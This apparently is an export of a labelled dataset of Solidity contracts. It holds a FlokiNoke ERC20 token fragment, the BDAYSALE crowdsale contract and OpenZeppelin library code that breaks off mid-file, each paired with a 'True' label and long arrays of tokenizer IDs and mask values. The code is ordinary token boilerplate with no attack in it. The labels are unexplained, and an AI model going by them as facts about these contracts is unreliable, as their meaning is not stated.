/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
contract FlokiNoke is ERC20, Ownable {
using SafeMath for uint256;
constructor() ERC20("FlokiNoke", "NOKEY") {
uint256 totalSupply = 1 * 1e9 * 1e18;
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6185,
1011,
5511,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
1013,
1013,
13109,
23212,
3630,
3489,
1011,
1002,
2053,
14839,
1013,
1013,
23921,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
13109,
23212,
3630,
3489,
1013,
1013,
1013,
1013,
2044,
3403,
2706,
2000,
2377,
1037,
3056,
2208,
1010,
2057,
6618,
2057,
1005,
1040,
2074,
2507,
2009,
1037,
2915,
1012,
1012,
1012,
2017,
2113,
1010,
2000,
2156,
2129,
2524,
1996,
2136,
2001,
2428,
2551,
1012,
1013,
1013,
1013,
1013,
2057,
2089,
2025,
2022,
1000,
2635,
2058,
28855,
14820,
1010,
1000,
2021,
2057,
1005,
2222,
2022,
5815,
1052,
2475,
2063,
15380,
2306,
4466,
2847,
1010,
2029,
2965,
2017,
2064,
2191,
2769,
2074,
2013,
2652,
1037,
4132,
2121,
1012,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
1021,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
2655,
2850,
2696,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'BDAYSALE' CROWDSALE token contract
//
// Deployed to : 0x1ef588811e1c69c448ecc551912741fe7a0e90a7
// Symbol : BDAY
// Name : Birthday Token
// Total supply: Gazillion
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto & Daniel Bar with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract BDAYSALE is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public startDate;
uint public bonusEnds;
uint public endDate;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function BDAYSALE() public {
symbol = "BDAY";
name = "Birthday Token";
decimals = 18;
bonusEnds = now + 1 weeks;
endDate = now + 7 weeks;
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// 100 BDAY Tokens per 1 ETH
// ------------------------------------------------------------------------
function () public payable {
require(now >= startDate && now <= endDate);
uint tokens;
if (now <= bonusEnds) {
tokens = msg.value * 100;
} else {
tokens = msg.value * 80;
}
balances[msg.sender] = safeAdd(balances[msg.sender], tokens);
_totalSupply = safeAdd(_totalSupply, tokens);
Transfer(address(0), msg.sender, tokens);
owner.transfer(msg.value);
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
1004,
1001,
4464,
1025,
1038,
10259,
12002,
2063,
1004,
1001,
4464,
1025,
12783,
9453,
19204,
3206,
1013,
1013,
1013,
1013,
7333,
2000,
1024,
1014,
2595,
2487,
12879,
27814,
2620,
2620,
14526,
2063,
2487,
2278,
2575,
2683,
2278,
22932,
2620,
8586,
2278,
24087,
16147,
12521,
2581,
23632,
7959,
2581,
2050,
2692,
2063,
21057,
2050,
2581,
1013,
1013,
6454,
1024,
1038,
10259,
1013,
1013,
2171,
1024,
5798,
19204,
1013,
1013,
2561,
4425,
1024,
11721,
5831,
6894,
2239,
1013,
1013,
26066,
2015,
1024,
2324,
1013,
1013,
1013,
1013,
5959,
1012,
1013,
1013,
1013,
1013,
1006,
1039,
1007,
2011,
28461,
5658,
2080,
1004,
3817,
3347,
2007,
8945,
19658,
22571,
9541,
24206,
1013,
8945,
2243,
10552,
13866,
2100,
5183,
8740,
2418,
1012,
1996,
10210,
11172,
1012,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
3647,
8785,
2015,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
3206,
3647,
18900,
2232,
1063,
3853,
3647,
4215,
2094,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
1065,
3853,
3647,
6342,
2497,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
// SPDX-License-Identifier: GPL-3.0-or-later
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
